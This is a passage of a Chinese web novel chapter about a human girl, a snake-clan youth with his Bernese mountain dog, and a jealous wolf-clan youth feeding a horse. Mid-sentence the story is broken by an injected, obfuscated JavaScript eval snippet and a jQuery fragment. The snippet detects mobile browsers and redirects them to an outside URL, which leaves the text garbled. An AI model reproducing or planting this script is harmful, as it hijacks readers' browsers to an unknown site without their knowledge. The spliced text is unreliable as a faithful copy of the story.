蛇昱想了想，挑选了个最不会踩雷的原味，展慈赞同地点点下巴，随后抬起手腕付钱，蛇昱轻声道：


    “谢谢。”


    “不客气，真要说起来，我应该谢谢你才对。”展慈拿着水放到脖颈上，往座椅那边走，


    “坐一会儿。”


    周末下午的大厅里没什么人，空调开的足，展慈觉得自己好似走进了冰箱，正在疾速降温。


    蛇昱握着饮料瓶不时喝一口，很是寻常的饮料被他喝出了品尝的意思，他也没有开口说话的意思，只是会偶尔看展慈一眼，像趴在前台等待展慈带他出去遛遛的仔仔。


    展慈试想他会养什么类型的原始种，想来想去，她得到的结论居然是：蛇昱不会养原始种。


    这简直是悖论。


    可能是因为刚开始留下的印象太深，导致蛇昱养什么进化种展慈都觉得很不搭，她不喜欢压抑自己的好奇心，直接问：


    “蛇昱，你养的什么原始种？”


    从她口中说出来，自己的名字似乎也变得有些动听，蛇昱直视她的眼睛，


    “伯恩山。”


    如果她没记错，这应该是狗狗的品种，怪不得上次他对待仔仔的动作那么熟练。


    “你怎么会想到养小狗的？”


    各个种族的领地继承者都是上中学才来的，蛇昱还把他养的小狗带过来，这样一来，他真是个很负责的养犬人。


    “捡到的。两年前。”


    “是流浪狗吗？”


    “嗯，”蛇昱略微歪下脑袋，很严谨，


    “应该是。”


    当时他只是喂了点吃的，就被赖上了，瘦瘦呆呆有条腿还是跛着的大狗一直跟他到家里，蛇昱从没想过养原始种，只是偶尔给他投喂点食物，这下被赖得更厉害，大狗蹲守在门口给他看起了门。


    可大门处没有挡风遮雨的地方，蛇昱想把他放到社区来养，刚送过去，没几天又瘦一圈的大狗狗蔫巴巴地跑回来，可怜兮兮地咬住了蛇昱的裤脚。


    蛇昱就这样养了他。


    他自己想了会儿，跟展慈说：


    “他不怎么黏人，就是吃得多。”


    “不黏人？”展慈在脑海里勾勒出一只沉着稳重的狗狗画像，


    “你不喜欢黏人的吗？”


    说者无意，听者有心，蛇昱心尖颤动，垂下头喝了口饮料，


    “看情况。”


    展慈有些不太懂他到底喜不喜欢了，她往后靠了靠，又休息了五分钟，就跟蛇昱说上去接他的原始种。


    蛇昱也给自己的原始种办了个豪华单间，但这个豪华单间只是住宿，其他吃饭玩耍的时间还是和其他原始种小狗在一起的，会有护养员在现场照看。


    蛇昱让展慈在门口等着，他自己进去，展慈只好在门口看，大房间里做成了游乐园的样子里，里面好多只玩耍的小狗，


    见到人，他们齐齐侧头，咧开嘴巴吐吐舌头，又萌又可爱。


    蛇昱把其中最大的一只黑棕色大狗半抱出来，伯恩山没有蛇族说的那样“不黏人”，他两只爪子抓在蛇族的腰间，喉咙里哼哼着，


    尾巴快摇成风火轮了。


    展慈特意去看蛇昱的表情，他还是那副冷冷的样子，似乎是见到展慈看他，男人一用力，将有他大腿那么高的伯恩山直接抱起来了，他皱眉，


    “不许舔。”


    训小孩一样，伯恩山的舌头停在蛇族脸颊的五厘米处，乖乖地收回去，展慈总觉得她在一张小狗的脸上看见了遗憾两个字。


    “它叫什么名字？”


    “呆呆。”


    沉冷的声音说出萌萌软软的话，展慈有些忍不住笑，


    “是你取的名字吗？”


    “因为他很呆，”话音刚落，呆呆露出一个憨憨的笑容，似乎是看到人类的笑意，蛇昱赶紧反驳：


    “不是我取的……是我妹妹。”


    是妹妹取的就合理很多。


    蛇昱走了两步，将呆呆放下来，倒不是抱不动，主要是占据了视野，不仅路看不到，连人类的脸也只能看见半边了。


    呆呆恨不得贴着蛇昱走，好几次差点把蛇昱绊倒，展慈见着笑，趁它不注意摸一下它，被呆呆发现，回过头还冲她笑。


    “好乖。”


    展慈揉揉它的脑袋，呆呆顺杆子往上爬，舔了两口人类的手指。


    蛇昱的眼睛眯起来，在呆呆还想舔的时候捂住了它的狗嘴。


    “呜呜～”


    呆呆不明所以，被松开后高高兴兴地去舔蛇昱的手。


    呆狗。


    做电梯到一楼，展慈问蛇昱是不是要回去，


    “你怎么回去？”


    展慈突然想起来，忘记给她哥发消息了，她点开光脑，顺便回蛇昱：


    “我哥来接我。”


    “……嗯。”


    蛇昱应道，明显察觉到主人不高兴的呆呆也不在两人腿间打转了，展慈发好了消息，带着笑问他：


    “那你不急着回去吧？我听你之前说逛逛，那我们去另外两栋楼看看，那边还有模拟海洋环境的，感觉很好看。”


    “好。”


    呆呆：？


    主人的心情怎么好了？呆呆想不明白，只是又能撒欢了，他在人类身旁转悠来转悠去，人类笑得可开心了，呆呆还被她投喂了又香又脆的小肉干，肥壮的大狗更喜欢人类了，望着人类口水直流。


    那几块肉干是展慈密封好放在口袋里，想要投喂给音音仔仔的，后来她穿了别的裤子，把肉干忘在这条裤子里了，也就三块。


    “好啦好啦，我下次给你带。”


    展慈用纸巾擦擦它的口水，被蛇昱接手过去，两人的手指碰到一起，展慈还没反应，蛇昱猛地收手，


    “抱歉。”


    展慈本觉得没什么，见他眼神闪躲，有些不敢看自己，也觉得有些不好意思了。


    所以他是在害羞吗……


    “没事。”


    走出楼外，展慈用手遮在眼前，掩饰掉那么点尴尬。


    他们先在其他两栋楼内逛了逛，还遇到了正跟一匹棕红色大马对峙的狼崇，狼族这边的树荫很多，应该是马也要避暑。


    狼崇叉腰站着，脸黑得跟锅底一样，他对面的棕红色大马也不是好惹的，斜眼歪嘴鼻子里喷气，知道狼崇不能拿它怎么办，昂头甩尾龇牙，就是不吃草料。


    狼崇拳头捏得青筋暴起，一边的尖牙都从唇间冒出来了，看样子气得不清，


    旁边站着一位不太高的娃娃脸男生，竖着两只手做投降状，连声道：


    “要、要不我，我来吧。”


    狼崇不听他的，那架势像是要和棕红色大马犟到底了，展慈半按住自己的嘴唇，生怕自己笑出来被某狼看到了。


    她心想着：这算什么，恶狼自有恶人……恶马磨？


    展慈没想到自己也有这么幸灾乐祸的时候，她用两个指节按住两边控制不住要翘起的嘴角，心想着要不再看一会儿，毕竟机会难得。


    谁知道狼族不耐烦地回头，看见她的动作眼皮子一跳，压着眉瞪她。


    还瞪她？


    这简直是迁怒，她又没有真笑出来，展慈先开始打算看看了之，现在改主意了，直接走过去，笑容大大地近距离观看。


    她一来，蛇昱带着呆呆也跟着，狼崇满腔的怒在此刻变成了凶猛的烦躁，他带着敌意地看了蛇族一样，对着仰头看马的展慈凶道：


    “你来干嘛？”


    “还能干嘛，我来看看啊。”展慈不在意他的态度，摆出悠闲逛街的模样。


    “有什么好看的？”


    他语气冲得不行，展慈也不跟他怼，只是望着他的眼睛看热闹地笑，她自认为这种不说话、靠着表情杀伤力就很强了。


    可落到男人眼里，所有的情绪一下子被抚平了，他慢慢收回尖牙，松开牙关，瞪她一眼后把草料筐抬走，去那边换了个别种的草料过来。


    展慈就翘着嘴角笑，好心情地跟棕红色的大马摆摆手，出人意料的是，马儿似乎不怎么排斥她，


    眼睛不斜了，牙摆正了，鼻子也不出气了，一下子变得样貌端正、威风凛凛，好似电视剧中跟着将军出征的厉害马儿。


    它扑闪着大眼睛，展慈又对它招招手，马儿向前探头，轻轻顶在她的手上，瞧着很是温驯亲人，一旁的娃娃脸男生仿佛见了鬼，拿着拍照设备一顿拍。


    他喂了这么多次，第一次发现马也有两副面孔！太气人了！


    端着草料回来的狼崇也看见了，男人冷笑一声，将草料筐随手掷在栅栏前，蛇昱护住展慈，眼中含着点警告的意味。


    狼崇的心头火燃点极低，这时候烧得旺，两只强壮的进化种眼神如刀，锋利得想要在对方身上剐出一条条的肉来。


    娃娃脸男生被吓得退后两步，去看一无所知、拿起一小把草料喂马的人类，


    “这个你喜欢吃吗？”


    她试着往马儿那里递了递，枣红色大马低下他高贵的修长脖颈，就着人类的手尝了尝，觉得味道尚可，于是慢悠悠地开始咀嚼。


    娃娃脸男生惊喜：“吃了吃了！”


    展慈也很惊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895202|173874||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    讶，小心地去摸马儿的侧脸，威风就低着头让她摸，娃娃脸艳羡地凑上来跟展慈说话：


    “他叫威风，平时可挑剔了。也不让人碰的。”


    说着他也拿着草料去喂，被威风用大嘴撇到一边去了，展慈抓了一小把，威风又来吃，还冲娃娃脸翻了个白眼。


    娃娃脸心都碎了，


    “我天天喂你，你就这么对我？你有没有心？！”


    威风才不管什么心不心的，可能是真饿了，他吃草的速度越来越快，展慈后来只能用双手捧着草料喂给它。


    狼崇过来把她手里的草料接过去，展慈拍了拍两只胳膊上黏着的细草叶，抬头一看，威风高高伸着脑袋、居高临下地望着男人。


    剑拔弩张的氛围又升腾起来了，展慈不笑了，她伸过手，


    “……还是我来吧。”


    狼崇把草料给了她，一个人转身走了，展慈还以为他气狠了，要去平复一下心情，不一会儿男人抬着另一筐草料回来。


    展慈跟蛇昱说：


    “你等着着急吗？”


    “不急，”蛇族摇摇头，呆呆蹲坐在他腿边，也摇摇脑袋尾巴，展慈特别喜欢它，一边喂草料一边跟蛇昱聊天：


    “你一天遛呆呆几次啊？”


    “两次，早上和下午。”


    “就在路边遛吗？”


    “有时候去公园。”


    “下次遛它我可以一起吗？”如果不是要喂草料，展慈都想把呆呆抱在怀里揉来揉去，实在是太可爱了，而且，她可以带着仔仔和音音一起。


    三只毛绒绒把她包围，想想就觉得很幸福。


    人类的目的很明显，在大胖狗的身上，能得到人类的主动邀约，蛇昱罕见地笑了下，


    “可以，下周，有时间。”


    “或者你把呆呆带到拳击馆来，可以和我家仔仔音音一起玩。”展慈弯腰抱住草料，笑得很是明媚，


    “你家呆呆有一起玩的小伙伴吗？”


    蛇昱养狗很糙，要不然也不会想着送呆呆来托管中心，


    “好像……有。”


    邻居家和呆呆对着叫的花毛鹦鹉能算吗？


    不过蛇昱还是很快说：“我下次带它去。”


    “行。”展慈从现在开始期待那一天了。


    他们就养狗的事情聊得开心，娃娃脸掏出帕子不断地抹头上的汗，


    喂喂！人类，你看不见吗？你认识的这只狼马上要黑化啦！


    娃娃脸觉得狼崇身上散发的气息比刚才喂不了马还要吓人，他偷摸看了下狼族的脸，被吓得心脏都要跳出嗓子眼了，


    要不是还要验收喂食情况，他马上就走！


    狼崇非常不高兴，他甚至清楚地明白自己的不高兴到底来自什么地方。


    人类。


    人类帮了他，给难搞的马喂食，狼崇应该感谢她，可他更明白，心里面波动着的，没有一分一毫的感激，全是冲撞跳跃的怨怼。


    怨怼？


    因为人类和爬虫说话、笑得灿烂而怨怼？听上去像是什么求而不得的怨夫，狼崇不想承认这一点。


    他讨厌人类，故意刁难人类，人类很生气，也讨厌他不是吗？


    两个互相厌烦的人，他为什么要心生妒忌？


    又不是喜欢她。


    喜欢……


    狼崇心脏疯跳，草料筐脱手掉到地上，差点砸了他自己的脚，幸好是空的，展慈把筐拖过来，看他大惊失色，连着瞳孔都在剧震，


    “怎么了？”


    不能说是稳重，但至少不会轻易表现出退缩的狼族称得上是“惊恐”地看了她一眼，他嘴唇哆嗦着，随后死死抿住，单手拿着空筐离开了。


    等展慈喂完马，他把这片地方收拾好，一声不吭地离开了马场。


    展慈对着他的背影看了很久，觉得他的情绪比最多变的天气还要多变，


    “奇奇怪怪的。”


    她小声吐槽了一句，蛇昱不喜欢她的注意力在狼族身上，


    “我们去海洋馆那边。”


    “好。”


    展慈很快被吸引了注意力，她跟蛇族走在一起，经常弯下腰摸摸呆呆的头顶背部，还用瓶盖接水给它喝，蛇昱一路上听她夸了数不清的“好乖”，


    心里在想：她喜欢乖巧的吗？


    喜欢乖的原始种，那进化种呢，她会喜欢乖的进化种吗……乖的蛇族呢？


    蛇昱很少会这样纠结，只是现在这种纠结甚至算不上烦恼，就算是烦恼，也是带着快乐的烦恼，


    她带给他的，都是好的。